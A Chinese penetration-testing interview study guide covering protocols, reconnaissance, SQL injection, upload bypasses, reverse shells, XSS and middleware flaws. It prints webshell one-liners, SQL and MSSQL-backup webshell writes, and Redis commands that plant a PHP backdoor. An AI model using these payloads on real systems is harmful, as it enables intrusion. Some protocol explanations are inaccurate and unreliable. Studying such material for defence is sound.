当前位置:   article > 正文

渗透测试面试题_域渗透面试

域渗透面试

渗透测试面试题

一、网络层协议

1、OSI七层模型

  • 应用层:应用程序协议
  • 表示层:数据传化,代码转换,数据加密
  • 会话层:接触或建立会话连接
  • 传输层:接受上层数据传输给网络层
  • 网络层:控制子网运行,逻辑编址,选择路由
  • 数据链路层:物理寻址,将原始比特流转化为逻辑传输路线
  • 物理层:以二进制形式在物理媒体上传输数据

2、应用层协议

  • DNS(域名解析协议):是一个将ip与域名相互映射的分布式数据库,是互联网中提供的一种服务。
    • 也称为单播域名解析系统,uDNS
    • 端口:53(tcp/udp)
    • 解析方式:
      • 正向解析:将域名解析为ip
      • 逆向解析:将ip解析为域名
    • 解析过程:
      • 首先向浏览器的DNS缓存中查找,如果有且没有过期,那么解析到此结束
      • 如果没有,再向操作系统本身查找DNS缓存,如果有就解析结束
      • 还没有就会向路由器发起查询请求,
      • 最后回想ISP(互联网服务提供商)查询DNS缓存,最后都会再这里查找。
  • mDNS(组播域名系统):可以再没有DNS的网络环境中,让相同网段的设备进行互相通信,与NetBIOS类似。
    • 端口:5353
    • 是dns的延伸,用法与dns基本想同
      • 区别:不请求dns服务器,而是在局域网内广播,所有支持组播的dns会回复一个以.local为结尾的机器名的域名,如果没有指定机器名字或者有冲突,那么就会换个名字继续广播,直达名字可用,被其他设备所接受
  • FTP(文件传输协议):进行文件传输的一套标准协议。
    • 端口:
      • 20端口,用于传输数据
      • 21端口,用于传输控制信息
  • HTTP(超文本传输协议):因特网上应用最广的网络传输协议
    • 端口:80、81(预备)、8080(替代端口)
    • 版本:HTTP/1.0和HTTP/1.1
    • 请求过程:
      • 首先浏览器解析域名为ip地址
      • 浏览器就与web服务器建立一个tcp连接
      • 再发送http请求给web服务器
      • 服务器返回HTML代码网页
      • 浏览器进行解析展现网页,并请求网页中的资源
      • 最后关闭TCP连接。
    • 请求方式:
      • GET、POST、DELETE、CONNECT、OPTIONS、PATCH、TRACE、PUT、HEAD
    • GET与POST的请求区别:
      • GET请求方式的参数在url上,以?和&连接,且数据大小最多为1024,有限制;请求会缓存到浏览器的历史记录中
      • POST请求携带的参数,在请求体中,没有大小限制,且不会被浏览器缓存,不显示在URL地址栏中
    • HTTP的请求报文组成
      • 请求行
        • 请求方法
        • 请求地址URL
        • HTTP协议版本
      • 请求头
        • 添加了一些附加信息
        • Host:请求的服务器地址
        • User-Agent:发送请求的应用程序名称
        • Connection:指定此次请求的连接方式
        • Accept-Charset:通知服务端发送的编码格式
        • Accept-Encoding:通知服务端可以发送的数据压缩格式
        • Accept-Language:通知服务端可以发送的语言。
        • Referer:引用,表明这个请求是从哪个URL过来的。
        • Cookie:状态保持,服务器无法判断两个请求是否来自同一个人,需用 Cookie 来做标识。是 Web 服务器保存在客户端的一系列文本信息。
        • Session:服务器的会话凭证
      • 请求空行
      • 请求体
    • 连接方式
      • 长连接(HTTP/1.1)
        • 就是指一个连接可以发送多个数据包,在连接期间如果没有数据包发送,双方就会发送数据链路包检测通信安全性,稳定安全消耗资源多。
      • 短链接(HTTP/1.0)
        • 就是指在发送数据时建立连接,发送完就关闭,节省通道,连接建立开销大
    • HTTP响应报文:
      • 状态行
      • 响应头部
      • 空行
      • 响应数据
  • HTTPS(超文本传输安全协议):HTTP的加密版本
    • 端口:443
    • 在HTTP的基础上通过传输加密和身份确认保证了传输过程的安全性,加入了TLS和SSL层协议
  • SMTP(简单邮件传输协议)
    • 端口:25、336、465、587
  • POP3(邮局协议版本):用于支持客户端远程管理在服务器上的电子邮件
    • 端口:110,995
  • IMAP4(英特网信息存取协议):POP3的邮件管理升级版
    • 端口:143、220、993
  • RDP(远程桌面协议):多通道协议
    • 端口:3389
  • SIP(会话初始协议):用于创建、修改和释放一个或多个参与者的会话,源于互联网的 IP 语音会话控制协议,具有灵活、易于实现、便于扩展等特点
    • 端口:5060、5061
  • SNMP(简单网络管理协议):专门设计用于在 IP 网络管理网络节点的一种标准协议
    • 端口:161、162
  • SSH(安全外壳协议):是较可靠,用于计算机之间的加密登录网络协议,可以有效防止远程管理过程中的信息泄露问题
    • 端口:22
  • Telnet(TCP/IP终端仿真协议):是 Internet 远程登录服务的标准协议和主要方式
    • 端口:23

3、表示层协议

  • NFS(网络文件系统):有SUN公司研发的UNIX表示层协议,能使使用者访问网络上别处的文件,就像在使用自己的计算机一样
    • 端口:2049

4、会话层协议

  • NetBIOS(网上基本输入输出系统):让不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据
  • TLS(安全传输层协议):用于在两个通信应用程序之间提供保密性和数据完整性
  • ALPN(应用层协商协议):是 TLS 协议的扩展,允许应用层协商在安全连接上使用哪个协议。
  • SSL(安全套接字协议):用以保障在 Internet 上数据传输的安全,利用数据加密(Encryption)技术,可确保数据在网络上的传输过程中不会被截取及窃听

5、传输层协议

  • TCP(传输控制协议):是一种面向连接的、可靠的、基于字节流的传输层通信协议
    • 三次握手(建立连接):
      • 首先客户端发送SYN请求包到服务器,
      • 服务器收到SYN包,并返回SYN+ACK的包给客户端
      • 客户端收到SYN+ACK的包后,再返回一个ACK确认包,三次握手完成
    • 四次握手(断开连接):
      • 首先客户端发送FIN连接释放请求
      • 服务器收到后,告诉应用层释放TCP连接,让后发送ACK包,此时服务器不接受客户端数据包,但可以发送数据给客户端
      • 服务器发送数据完毕后,会向客户端发送FIN包,
      • 最后,客户端收到服务器的FIN包,向服务器发送ACK,进行等待阶段,如服务器没有重发请求,客户端就关闭,服务器收到ACK后,就进入关闭状态
  • UDP(用户数据报协议):是一种面向消息,无连接的传输层通信协议,提供一种无需连接发送封装IP数据包的方法
  • SCTP(流量控制传输协议):后引入的一种新的面向消息的传输层通信协议
    • 提供了TCP一样的可靠有序的数据传输功能,却能和UDP一样面对消息的方式来进行操作,保护消息的边界

6、网络层协议

  • IP(互联网协议):只为主机提供一种无连接、不可靠的、尽力而为的数据包传输服务
    • ipv4:255
    • ipv6:128
  • ICMP(互联网控制消息协议):用于再IP主机、路由器之间传递控制消息,没有端口号
  • SMB(服务器信息模块):用于web连接和客户端与服务器之间的信息沟通
  • CIFS(通用网络文件系统):是公共开放的SMB协议版本,是程序可以访问远程网络计算机的文件,并要求此计算机提供服务

7、数据链路层协议

  • ARP(地址解析协议):将IP地址转换为MAC物理地址的一个协议

8、其他协议

  • HANP(家庭网络管理协议):是一种基于 HTTP-SOAP 实现的网络管理协议,允许远程拓扑发现,配置和管理设备(路由器,摄像机,PC,NAS等)。

9、什么是同源策略?

  • 是一种浏览器实施的安全机制,用来限制不同源的文档或脚本之间的互相操作
  • 判断方式
    • 协议、域名、端口、ip地址,这些不同即为不同源

10、TCP与UDP的区别?

  • TCP面向连接,UDP面向报文
  • TCP系统资源要求多,UDP结构简单,相对较少
  • TCP保证数据的完整性和顺序性;UDP不保证

11、HTTPS的实现原理?

  • 客户端首先发送randmo1+对称加密列表套件+非对称加密列表套件
  • 服务器收到信息,选择对称加密套件+非对称加密套件,并和randmo2+证书(公钥包含在证书里面)一起返回
  • 客户端验证证书的有效性,并用randmo1+randmo2生成pre-master,通过服务器公钥加密+和浏览器确认,发送给服务器
  • 服务器收到pre-master,根据约定的加密算法,对randmo1+randmo2+pre-master进行解密。生成一个master-secret,然后发送服务器确认
  • 客户端收到生成同样的master-secret,对称加密钥传输完毕。

12、简述ICMP协议类型有哪些?

  • ICMP是网络层协议,依赖IP协议,类型有,8(ping请求),0(应答),3(目标不可达),11(ttl超时)

13、cookie和session的区别?

  • 存储位置不同,cookie是在客户端,session是在服务端
  • 存储的数据类型不同,cookie是字符串,session有object类型
  • 大小也不同,cookie是受客户端浏览器大小限制,最大4kb,session是受当前内存限制

14、ARP协议工作原理?

  • ARP协议是数据链路层的协议,是根据IP地址获取物理地址的一个TCP/IP协议
  • 工作原理:是发送ARP请求,以广播方式到以太网上的每个主机,请求帧中包含了目的机器的IP地址。目的主机收到ARP请求后,会返送一个ARP应答,里面包含了主机的MAC地址。其他机器发现不是自己的IP就会选择丢弃。

15、SSL是什么?工作时,怎么保证安全的?

  • SSL安全套接字协议,位于会话层,是用来进行数据的加密和验证的。
  • 保障安全的方式是:
  • 客户端在向服务端发送SSL连接时,服务器会把自己的公钥给客户端,自己留下一把私钥,客户端就用这个公钥对通信进行对称加密,再传输数据,同时,客户端发送数据时,会用公钥进行加密,而服务器就会使用私钥,对数据包进行解密验证,从而保证传输工作的安全性,即使数据包丢失,第三方获得也无法解密篡改。

二、信息收集

1、什么是信息收集?

  • 信息收集是指通过各种方式获取所需要的信息,便于后续渗透过程更好的进行。

2、为什么要信息收集,意义在哪?

  • 提高渗透测试的成功性
  • 发现更多的暴露面
  • 扩大渗透的可能性

3、信息收集有哪两大类?

  • 主动收集

    直接在目标网站上收集信息,进行扫描,操作等,有流量经过就是主动收集

  • 被动收集

    基于公开渠道,搜索引擎等,不予目标系统之间交互,而获得信息,尽量避免留下痕迹的方式。

4、信息收集哪些信息呢?

  • 大概分为这几类:域名信息、服务器信息、网站信息、管理员信息
  • 具体收集如下:
    • 域名信息:whois、域名备案信息、子域名、SSL证书
    • 服务器信息:IP信息,开放的端口信息
    • 网站信息:操作系统判断、网站的容器类型、脚本和数据库类型、CMS识别、敏感文件目录识别、网站WAF识别、有无GIT泄露
    • 管理员信息:主要是看备案信息和公司信息,有没有文件泄露啥的

5、信息收集如何处理子域名爆破的泛解析问题?

  • 根据TTL值来判断,将TTL作为黑名单规则的一部分,评判方式是,泛解析的TTL值是相同的,如果子域名记录相同但是TTL值不同,那么就不是泛解析记录
  • 还有就是就是解析不存在的IP,来建立黑名单IP,存在跳过,不存在入库

6、如何绕过CDN呢?

  • 首先多地ping测试CDN是否使用
  • 如果有的话,可以查找子域名或者父域名,不一定都使用了CDN,就可以通过这种方式查找对应的IP
  • 还有就是CDN可能是在网站上线一段时间后才上线的,可以通过查找域名历史解析记录的方式去查找真实IP
  • 还有就是通过网站上功能,如通过URL加载图片,发送邮件等
  • 最后就是网站各种探针类文件,如phpinfo里面的server【server_addr】也包含了服务端的真实IP,这种情况较少

7、判断出网站的CMS对渗透有什么意义?

  • 可以查找以及曝光的程序漏洞,如果是开源的,可以下载对应的源代码,进行代码审计

8、一个成熟并且相对安全的CMS,渗透时扫描目录的意义?

  • 暴露一些敏感文件、二级目录,站长误操作,网站备份的压缩文件,说明,或者其他站点的信息

9、常见的网站中间件有哪些?

  • Apach、nginx、tomcat、Weblogic、Jboss、Lighthttpd

10、如何判断网站是windows还是Linux服务器?

  • 一是,linux大小写敏感、windows大小写不敏感
  • 二是,通过ping TTL的值来判断,windows一般都是128,linux为64,大于100的大都为windows,小于的一般为linux
  • 三是,nmap扫描,-O参数

11、给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录,你的想法是什么?

  • 直接用7KB或者破壳字典,在网站的二级目录/abc/下扫描敏感文件及目录

12、SVN/GIT源码泄露是怎样的?

  • SVN泄露,是在本地管理代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息:/svn/entries
  • 使用git进行版本控制,对站点自动部署。如果配置不当,可能将.git文件夹直接部署到线上环境,这就引起了git泄露:/.git/config

13、在渗透过程中,收集目标站注册人邮件对我们有什么价值?

  • 丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
  • 利用邮箱作为挂关键字丢入搜索引擎,得到其相关信息,和社交账号,社工找出社交账号,生成专用习惯的密码字典

三、漏洞利用

1、SQL注入

1.1、常见的数据库端口有哪些?
  • mysql:3306
  • Oracle:1521
  • SQL server:1433
  • PosthreSQL:5432
  • MongoDB:27017
  • Redis:6379
  • Cassandra(可桑zhua):9042
  • Elasticsearch:9200
  • SQLite数据库通常使用本地文件,不需要指定端口。
1.2、什么时SQL注入?
  • SQL注入是指:将恶意的SQL命令注入到程序后台,并在数据库引擎执行的能力,这是由Web应用程序对用户输入的数据没有进行数据合法性严格的判断所导致。
1.3、SQL注入有哪几种类型?
  • 从数据类型来看:分为数字型、字符型、搜素型
  • 从数据库返回结果来看:回显注入、报错注入、盲注,盲注就是布尔盲注和时间盲注
  • 要是从注入点来分类:GET注入、POST注入、Cookie注入、Header注入
1.4、那么如何判断是数字型、字符型或是搜索型呢这方面的注入呢?
  • 数值型,就有两种方式:
    • 用and逻辑测试,看是否被带入数据库执行
    • 还有就是在输入的参数带入单引号’,构造SQL语法错误,来判断输入是否被执行
  • 字符型的话,它的参数是被引号所包裹
    • 那么就可以在参数后面添加单引号或者双引号来构造SQL语法错误,来判断输入是否被执行
  • 搜索型,他与字符型相比多了一对%号
    • 那么我就在构造SQL语句时,用%来闭合,如果存在漏洞的话,会返回正常的信息
1.5、说明一些回显注入、报错注入、盲注的利用原理
  • 回显注入的利用原理:当当前注入页面能获取返回结果时,利用逻辑运算符or或者and,进行拼接,结果能正常显示出来,说明存在回显注入
  • 报错注入的原理:应用程序将数据库的报错信息,返回到当前页面中,但没有数据库查询的结果;那我们通过构造一些报错的SQL语句来返回显示错误信息中想要的结果。
  • 盲注的原理:程序限制返回数据库的报错信息,因此在查询错误时,没有将结果返回,或者只显示两种情况,正确的和提示错误,那么我们利用这两种提示结构,构造boolean判断方式的sql语句来证实我们查询猜测的结果,进而判断出是否存在漏洞,和枚举出数据库的信息。
    • 哪如果没有这两种情况呢?
      • 那么就时间盲注,来构造sql语句,用boolean判断我们的猜测,结果就用睡眠函数,来指定数据库休眠时间,正确情况下休眠多久,错误不休眠,这样来以此让服务器响应的时间变长或者变短。来进行判断。
1.6、请说明一下SQL注入的过程(步骤)
  • 首先判断出,注入的数据类型是,数字、字符还是搜索型
  • 然后判断结果的字段数,是响应几个字段,使用order by方式
  • 其次在根据字段数,判单出回显位数,也就是在页面显示出的位数
  • 再根据回显出的位数,在对应的位数上进行联合查询或者其他查询操作,将结果回显到对应的位置上
1.7什么是XFF注入?

​ 在HTTP 的HEAD中存在X-Forwarded-for参数的调用

  • 使用前提:X-Forword-For的值是*,那么就可以输入SQL语句来代替

    • 首先用单引号测试,显示报错的话,就可以构造恶意SQL语句
     X-Forwarded-For:127.0.0.1’,updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #
    
    • 1
1.8、请说明在最后查询数据库信息时,是根据什么获取的?
  • 是根据数据库中的:information_schema这个数据库获取的,里面存放着维护其他数据库和表的信息。

    • 里面的schemata表提供了所有的数据库信息
    • Tables表提供了数据库中对应数据表的信息
    • columns表则提供了某张表所有列的字段信息

    以此来获取数据库的所有信息。

1.9、如何突破SQL注入时,字符被转义?
  • 使用宽字节注入方式:
    • 产生原因是:两者的字节编码不一致导致,从而导致应用程序处理方式不同
  • hex编码饶过
    • 将字符转变成对应进制来代替表示
1.10、mysql注入,5.0以上版本和以下版本有什么不同?
  • 5.0以下版本没有information_schema库,不能列表明,只能暴力跑表名
  • mysql5.0以下版本是多用户单操作
    • 就是在一个周期内执行多个操作
  • mysql5.0 以上是多用户多操作
    • 是指多个用户在同一个时间内共享并执行多个任务的能力
1.11、盲注如何快速获取数据?
  • 使用dnslog辅助盲注
1.12、SQL注入语句中只有update怎么利用?

​ 这个的话具体问题,具体分析吧,如果注入点在password的话

  • 可用更改任意用户密码
  • 更改用户级别
1.13、SQL注入语句中有个64位编码或者类似其他编码的变形注入,你的思路是什么?
  • 首先是确认是哪种编码格式,看是base64还是其他什么
  • 然后将payload进行对应的编码,放入测试即可
1.14、发现注入点,你有哪些思路去getshell?优先级是怎么样的?
  • 如果具有写权限,之间sqlmap --os-shell获取shell
  • 第二种,拉取数据,获取网站账号,最好是管理员的,登录后台,手动上传漏洞getshell

​ 第一种优先级最高,最快速,但需要具体情况具体分析。

1.15、SQL注入写入shell条件是什么?
  • 当前数据库用户具备管理员权限
  • 需要知道用户的绝对路径,就是文件写到哪个位置
  • 需要网站的可写目录
  • mysql需要配置secure_file_prive为空
  • 主要使用的是into outfile
d=1' and 1=2 union select 1,2,'shell内容' into outfile "/www//site//shell.php" %23
  • 1
  • 当然使用sqlmap --os-shell更直接
1.16、MSSQL差异备份怎么getshell?
  • 前提条件:

    • MSSQL具有dbo和sa权限(数据库备份权限)
    • 支持堆叠查询(允许多个查询语句组合在一起,一次性执行)
    • 知道网站的绝对路径
  • 实现原理:

    • 完整备份后,再对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份asp即可getshell

      • 完整备份

         backup database 库名 to disk = 
            'c:\ddd.bak';--
        
        • 1
        • 2
      • 创建表并插入数据

        create table [dbo].[dtest] ([cmd] 
        [image]);--
        insert into dtest(cmd) 
        values(0x3C25657865637574652872657175657374282261222929253E);--
        
        x3C25657865637574652872657175657374282261222929253E,这就是小马内容:<%execute(request(“a”))%>
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
      • 进行差异备份

         backup 
            database 库名 to disk='目标位置\d.asp' WITH 
            DIFFERENTIAL,FORMAT;--
        
        • 1
        • 2
        • 3
1.17、既然提到了sqlmap,说一下常用的参数有哪些?
  • -u:指定url
  • -r:指定请求包文件
  • -m:批量跑get
  • -current-db:获取当前数据库
  • -table:获取指定数据库下的数据表
  • -tamper:指定tamper脚本,进行bypass
  • -os-shell:获取shell
  • -random-agent:随机指定user-agent
  • -p:指定要测试的参数
1.18、sqlmap怎么对一个注入点进行注入测试?
  • 如果是get类型,就直接使用-u参数

  • 如果是post类型,还要添加–data=post参数来指定请求方式

  • head注入的话,用-r参数请求数据包的文件地址

    当然在post或者header注入时,可以在注入点后添加*号,来标记注入点

1.19、udf的提权原理?
  • Mysql支持用户自定义函数,恶意用户将含有自定义函数的dll放入特定的文件夹,声明引入中引入的函数,使用执行的函数来执行系统命令。
1.20、SQL注入Bypass绕过waf思路?
  • 内联注释绕过
  • 填充脏数据绕过
  • 更改请求方式绕过,如get改成post
  • 随机agent绕过
  • fuzz过滤函数,函数替换绕过
  • sqlmap、tamper脚本绕过
1.21、sqlmap编写脚本的方法
  • 网上有模板,主要是proiority定义tamper优先级、dependencis适用范围、temper关键函数,定义过滤规则
1.22、如何防止sql注入?
  • 使用参数化查询或者预编译语句
  • 输入验证和过滤
  • 最小权限原则
  • 避免动态拼接sql语句
  • 使用orm框架
  • 定期更新和维护
1.23、SQLmap --os-shell的原理是什么?
  • 使用前的必要因素
    • 要拥有网站的写入权限
    • secure_file_prive参数为空或者为指定路径
      • 因为普通的–os-shell主要是通过上传一个sqlmap的马,通过马来执行命令
  • 普通检测注入上传shell
    • 先进行目标的一个基础信息的探测
    • 让后上传shell到目标网站上。首先通过into outfile进行文件的写入,上传一个上传功能的马,通过上传马进行webshell的上传
    • 退出时执行命令删除webshell
  • SQL-server --os-shell,主要是利用xp_cmdshell扩展来进行命令执行。xp_cmdshell存储过程如果被禁,sqlmap会重新启用它,如果不存在,会自动创建
    • 使用的必要条件
      • 数据库支持外连接
      • 数据库权限为sa权限
    • 主要做三件事
      • 识别当前数据库类型,然后打印出来
      • 检测数据库是否为dba,也就是查看是否有sa权限
      • 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启
  • MySQL --os-shell,主要是通过UDF执行命令,SQLMAP上传一个二进制库,包含用户自定义函数,sys_exec()和sys_eval()。通过创建的这两个函数可以执行系统命令
    • 前提条件:
      • 数据库支持外连
      • secure_file_prive参数为空或者为指定的路径
      • 对mysql指定的目录具有写权限
      • 大于5.1的版本,需要存在/lib/plugin目录
    • 主要做五件事
      • 连接mysql数据库并获取数据版本
      • 检测是否为数据库dba
      • 检测sys_exec和sys_eval 这2个函数是否已经被创建
      • 上传DDL文件到对应目录
      • 用户退出时默认删除创建的sys_exec和sys_eval 2个函数

2、文件上传

2.1、什么是文件上传?
  • 将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终保存在服务端硬盘上作为文件保存下来,这就是文件上传。
2.2、什么是文件上传漏洞呢?
  • 是指用户上传了一个可执行的脚本文件,并通过此文件获得了执行服务器终端命令的能力,这种攻击方式就是文件上传漏洞。
2.3、请问文件上传漏洞产生的原因有哪些?
  • 服务器配置不当
  • 文件上传限制被绕过
  • 开源编辑器的上传漏洞
  • 文件解析漏洞导致文件执行
  • 过滤不严或被绕过
2.4、文件上传检测的方式有哪些?
  • 客户端js检测
  • 服务端的MIME类型检测(content-type内容)
  • 服务端目录径检测(path参数)
  • 服务端扩展名检测
  • 服务端文件内容检测
2.5、文件上传的绕过,你知道有哪些?
  • 客户端检测的话,一般是JS检测
    • 可以禁用js,或者修改js的检测逻辑,达到文件上传
  • 服务端检测,一般有三种情况
    • MIME类型的检测
      • 通过修改上传的请求包,修改其中的Content-type的类型,来进行绕过
    • 文件后缀的检测,分为两种
      • 黑名单绕过:黑名单是拒绝名单中的后缀上传
        • 修改后缀的大小写
        • 空格绕过,在后缀名加空格
        • 点绕过,在后缀加点(利用windows文件名特性,会自动去掉后面的点)
        • ::$DATA绕过,(它是利用windows下NTFS文件系统的一个特性)
        • Apach解析漏洞绕过:
          • 它解析文件按从右到左判断,如果不可识别再往左边判断,一个一个来,就像aa.php.owf.rar.文件,它就无法识别.rar.owf,那么就会解析成aa.php
        • .htacess文件绕过(超文本入口文件),改变目录当前的配置
      • 白名单那绕过:指的是允许当前名单的后缀上传
        • %00或0x00截断绕过,利用服务端判断文件类型从后往前,文件解析从前往后原理
    • 文件内容检测
      • 文件幻数检测:通常判断前10个字节,来判断出文件的真实性
        • 修改文件幻数标志,不同类型文件有着不同标志,修改对应的就行,最后再后面加上一句话木马即可
      • 文件加载检测:一般是调用API或函数对文件进行加载检测测试。如图像渲染测试,有些严格会进行二次渲染
        • 渲染/加载测试—代码注入绕过
          • 原理是再不破坏文件的本身的前提下,找到一行空白区,填充代码,保证文件结构完整。
        • 二次渲染-----攻击文件加载器自身
          • 用溢出攻击,文件加载器进行加载测试,加载时被溢出就会执行shellcode。
2.6、请问解析漏洞的话你知道的有哪些?
  • Apach解析漏洞(原理上面说过了)
  • Nginx解析漏洞
    • 方式是:文件名加上反斜杠再加上文件名.php,如:test/abc.php,来进行解析攻击
      • 原理:Nginx<0.8.37默认使用CGI的方式支持PHP解析,然后fix_pathinfo这个选项被开启了,那么就会把反斜杠前面的文件,当作后面的文件名后缀来进行解析
    • 还有一种就是%00.php(版本<=0.8.37 空字节代码执行漏洞)
  • IIS 6.0文件解析漏洞
    • 目录解析漏洞
      • 方式:www.xxx.com/xx.asp/xx.jpg,服务器默认会把asp目录下的文件解析成asp
    • 文件解析漏洞
      • 方式:www.xxx.com/xx.asp;.jpg,这种方式也会解析成asp
    • 除了asp还有、asa、cer、cdx
  • ISS 7.0/7.5解析漏洞
    • 方式和6.0一样,但漏洞的造成是php配置中,开启了cgi.fix_pathinfo这个参数
2.7、什么是webshell?
  • webshell是以asp、php、jsp、或者CGI等网页文件形式存在的一种命令执行环境,也可以将其称之为网页的一种后门,以此控制网站服务器。
2.8、常用的一句话webshell
php一句话木马: 
<?php @eval($_POST[value]);?>
asp一句话木马: 
<%eval request("value")%>
aspx一句话木马: 
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
2.9、说明一下蚁剑和冰蝎两个工具的区别

区别:

  • 蚁剑支持插件扩展,冰蝎不支持。
  • 蚁剑数据传输方式是单向加密传输,而冰蝎是双向加密传输的,且冰蝎偏向于后渗透阶段

3、命令执行

3.1、什么是命令执行漏洞?
  • 后端代码对用户输入的恶意参数进行严格的过滤,导致参数被拼接到命令执行函数中,被执行,这就是命令执行漏洞。
3.2、PHP代码执行函数有哪些?
  • eval()、assert()、call_user_func()、call_user_func_arry()、preg_replace()、array_map()
3.3、系统命令执行函数有哪些?
  • system()、exec()、shell_exec()、passthru()、popen()
3.5、漏洞利用,有哪些呢?
  • 命令执行写入webshell
  • 反弹shell

4、反弹shell

4.1、什么是反弹shell?
  • 就是被控端主动发送请求去连接控制端,提供一个执行命令行的接口,进行被控端操作,就是反弹shell。
4.2、Linux反弹shell的方法有哪些?
  • NC方式

    • 正向shell
    • 反向shell

    主要就是,一方nc -lvvp开启端口监听,另一方连接端口即可,根据开启的主次不同来区分shell正反

  • Bash方式

  • Per方式,msf中有payload使用

  • Curl方式

  • Telnet端口转发的方式

  • openSSL,反弹443端口,流量加密

  • 还有其他python,msf的一些payload方法

4.3、windows可以反弹shell吗?
  • 可以,使用Netcat工具,它是一个网络工具,开启一个端口监听,再在攻击机上允许NetCat连接到目标系统指定端口就行。

5、弱口令

5.1、什么是弱口令?
  • 猜测到或被破解工具破解的口令均为弱口令。
5.2、获得弱口令的方法有哪些?
  • 公共弱口令查询
  • 条件弱口令
  • 暴力破解,滚字典

6、未授权访问

6.1、什么是未授权访问漏洞?
  • 就是需要安全配置或权限认证的地址、授权页面配置不当,导致用户无需认证即可访问,从而造成一些信息泄露或权限修改及其他破坏, 这就是未授权访问漏洞。
6.2、常见的未授权访问漏洞有哪些?
  • Redis
  • docker
  • MongoDB
  • JBoss
  • Hadoop
  • Zookeeper
  • jenkins
6.4、请说明一下Redis未授权访问漏洞的利用
  • 产生原因:

    • redis没有设置密码,暴露出来,攻击者用客户端进行无密码连接访问
  • 漏洞利用

    • 写入webshell

      • 要知道网站绝对路径,目录有写入权限才行(这一步可以使用目录扫描工具去发现)

      • redis-cli -h 122.114.225.148 -p 6379
        
        config set dir /var/www/html
        
        config set dbfilename shell.php
        
        set x "<?php @eval($_POST['cmd']);?>"
        
        save
        
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
    • 写入SSH公钥(存放路径/root/.ssh/)

    • 写定时任务反弹shell

      • debian和ubuntu用户定时任务存放位置:/var/spool/cron/crontabs/用户名下
      • centos和redhat用户定时任务存放位置:/var/spool/cron/用户名下
    • 主从复制RCE(攻击脚本)

      • 原理:将一台主机上的内容复制到受害者机器上,并被加载执行
6.5、说说Hadoop未授权访问漏洞的造成及利用
  • hadoop是开源的分布式计算框架,用来数据计算和分布存储
    • 主要组件
      • Hadoop分布式文件系统:
      • Hadoop编程模型和处理框架:
      • Hadoop YARN
      • Hadoop Common
  • 造成原因:
    • Hadoop YARN组件端口的,8088和8090,允许用户直接通过API进行任务创建和提交执行等操作。
  • 利用网上的POC进行请求攻击即可,反弹shell

7、XSS漏洞

7.1、什么是XSS漏洞?
  • XSS漏洞是用户在可控参数输入恶意的js代码,然后被执行成功
7.2、如何判断是否存在XSS漏洞?
  • 寻找用户可控的参数(输入点)
  • 测试特殊符号、单引号、尖括号等看是否被过滤掉
  • 根据上一步结果,如果有过滤那么构造新的script标签形成新的js环境。或者进行防护或绕过
7.3、XSS有哪几种类型?
  • DOM型XSS
    • 攻击将恶意js参数传递到网页的前端,代码不会传入服务器,直接在客户浏览器上运行
  • 反射性型XSS
    • 攻击者将恶意js参数传递给网站,经过服务器,然后返回给客户端,并在客户端浏览器上执行
  • 存储型XSS
    • 攻击将恶意js参数传递给网站,经过服务器存储在数据库中,任何一个客户端在访问改条数据时,恶意的js代码都会在该客户端的浏览器上执行
7.4、绕过XSS安全防护机制有哪些方法?
  • HTML实体编码绕过
  • JS编码绕过
  • DOM操作绕过
  • 绕过CSP(内容安全策略)
  • 利用浏览器漏洞
  • HTTP头注入绕过,在HTTP响应头中注入恶意脚本代码,让浏览器在解析时执行

8、反序列化

8.1、什么是反序列化漏洞?
  • 反序列化是将字节流转换为对象,反序列化漏洞就是攻击者构造恶意的序列化数据,使应用程序在反序列化时执行恶意代码或者出发不受控制的行为。

9、其他漏洞

9.1、Weblogic 漏洞

​ weblogic是javaEE中间件,用于开发、集成、部署、管理、网络、数据库应用的java应用服务器

  • 端口:7001

  • 后台:/console

  • 漏洞

    • 弱口令
      • 通过弱口令,登录到后台页面,部署可以getshll的war包,访问浏览器地址,getshll
    • SSRF:由服务器向内网发送资源请求的安全漏洞
      • 访问/uddiexplorer/SearchPublicRegistries.jsp页面,可导致SSRF,使用一些脚本或者特定请求信息,来探测内网中的组件信息
    • 反序列化远程代码执行漏洞
      • 访问路径/_async/AsyncResponseService判断不安全组件是否开启
      • 攻击者构造恶意的HTTP请求,利用反序列化处理输入信息过程中的缺陷,来获取服务器权限或者远程代码执行
9.2、JBoss历史漏洞

​ jboss一个基于j2ee的开发源代码的应用服务器,专门运行javaEE程序。

  • 漏洞

    • webUI界面未授权访问漏洞

      • 访问/jmx-console.使用默认密码admin/admin成功登录,说明存在漏洞,可以上传部署木马war来获取shell
    • administration Console弱口令

      • 登录admin/vulhub后台,上传war包去getshell
    • /jxm-console/htmlAdaptor路径对外开发,未身份验证设置,导致未授权访问漏洞

      • 利用原理:使用后台jboos.admin>DeploymentFileRepository>store()方法,上传shell,方法中的四个参数

        • p1:war包名字
        • p2:文件名
        • p3:文件格式
        • p4:文件内容

        此方法会将这些参数拼接起来

      • 还可以使用GET或者POST中的HEAD来进行绕过请求

    • 反序列化漏洞

      • 在jboss中/invoker/jmxinvokservlet请求中读取用户传入的对象,利用apach commons collections中的Gadget执行任意代码
      • 原因:ReadOnlyAccessFilter过滤器没有进行任何安全检测,就尝试反序列化客户端的数据流
9.3、Struts2漏洞

​ jave Web应用开源的MVC开发框架,本质上是servlet。

  • 漏洞发现

    • 通过网页的后缀来判断版本,如.do或者.action
    • 还有通过/struts/webconsole.html是否存在来进行判断,需要devMode为true
    • 还有一些漏洞检测工具

    通过发现版本后,查询历史漏洞,利用POC即可

  • 漏洞

    • S2-045远程命令执行漏洞:该版本在使用jakarata插件上传功能时,攻击者通过修改http中请求头的content-type来触发该漏洞

    还有很多历史漏洞,就说一种吧

9.4、Thinkphp漏洞

​ php开发框架,很多cms基于Thinkphp二次开发的

  • 漏洞:

    • 通过指定页面的get或者post方式写入shell或者RCE

    有很多POC,大都时通过url写入webshell

9.5、Fastjson漏洞

